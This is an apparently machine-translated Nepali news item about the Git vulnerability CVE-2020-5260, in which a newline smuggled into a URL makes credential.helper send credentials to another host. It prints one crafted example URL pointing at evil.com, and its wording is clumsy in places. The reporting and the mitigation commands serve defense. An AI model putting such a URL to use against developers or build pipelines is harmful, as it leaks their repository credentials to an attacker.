🥇Git प्रमाण चुहावट जोखिम

प्रकाशित वितरित स्रोत नियन्त्रण प्रणाली Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 र 2.17.4, in को सुधारात्मक रिलीजहरू जसले हटायो कमजोरी (CVE-2020-5260) ह्यान्डलर मा "credential.helper", जसले गर्दा प्रमाणहरू गलत होस्टमा पठाइन्छ जब एक git क्लाइन्टले नयाँ लाइन क्यारेक्टर भएको विशेष ढाँचा गरिएको URL प्रयोग गरेर भण्डारमा पहुँच गर्दछ। आक्रमणकारी द्वारा नियन्त्रित सर्भरमा पठाउनको लागि अर्को होस्टबाट प्रमाणहरू व्यवस्थित गर्न भेद्यता प्रयोग गर्न सकिन्छ।

"https://evil.com?%0ahost=github.com/" जस्तो URL निर्दिष्ट गर्दा, host evil.com मा जडान गर्दा प्रमाणिकरण ह्यान्डलरले github.com को लागि निर्दिष्ट प्रमाणीकरण प्यारामिटरहरू पास गर्नेछ। सबमोड्युलहरूका लागि URL हरू प्रशोधन गर्ने लगायत "git क्लोन" जस्ता कार्यहरू गर्दा समस्या उत्पन्न हुन्छ (उदाहरणका लागि, "git submodule update" ले भण्डारबाट .gitmodules फाइलमा निर्दिष्ट गरिएका URL हरू स्वचालित रूपमा प्रशोधन गर्नेछ)। विकासकर्ताले URL नहेरी रिपोजिटरी क्लोन गर्ने अवस्थाहरूमा जोखिम सबैभन्दा खतरनाक हुन्छ, उदाहरणका लागि, सबमोड्युलहरूसँग काम गर्दा, वा स्वचालित कार्यहरू गर्ने प्रणालीहरूमा, उदाहरणका लागि, प्याकेज निर्माण लिपिहरूमा।

नयाँ संस्करणहरूमा कमजोरीहरू रोक्न निषेधित क्रेडेन्सियल एक्सचेन्ज प्रोटोकल मार्फत प्रसारित कुनै पनि मानहरूमा नयाँ लाइन क्यारेक्टर पास गर्दै। वितरणको लागि, तपाइँ पृष्ठहरूमा प्याकेज अद्यावधिकहरूको रिलीज ट्र्याक गर्न सक्नुहुन्छ Debian, Ubuntu, RHEL, SUSE/openSUSE, फेडोरा, आर्क, फ्रिबिएसडि.

समस्या ब्लक गर्न एक workaround को रूपमा सिफारिश गरिएको सार्वजनिक भण्डारहरू पहुँच गर्दा credential.helper प्रयोग नगर्नुहोस् र अनचेक रिपोजिटरीहरूसँग "--recurse-submodules" मोडमा "git clone" प्रयोग नगर्नुहोस्। credential.helper ह्यान्डलरलाई पूर्ण रूपमा असक्षम पार्न, जसले गर्छ संरक्षण र पासवर्डहरू पुन: प्राप्त गर्दै kesha, संरक्षित भण्डारहरू वा पासवर्ड सहितको फाइल, तपाइँ आदेशहरू प्रयोग गर्न सक्नुहुन्छ:

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

स्रोत: opennet.ru

Git प्रमाण चुहावट जोखिम

एक टिप्पणी थप्न Отменить ответ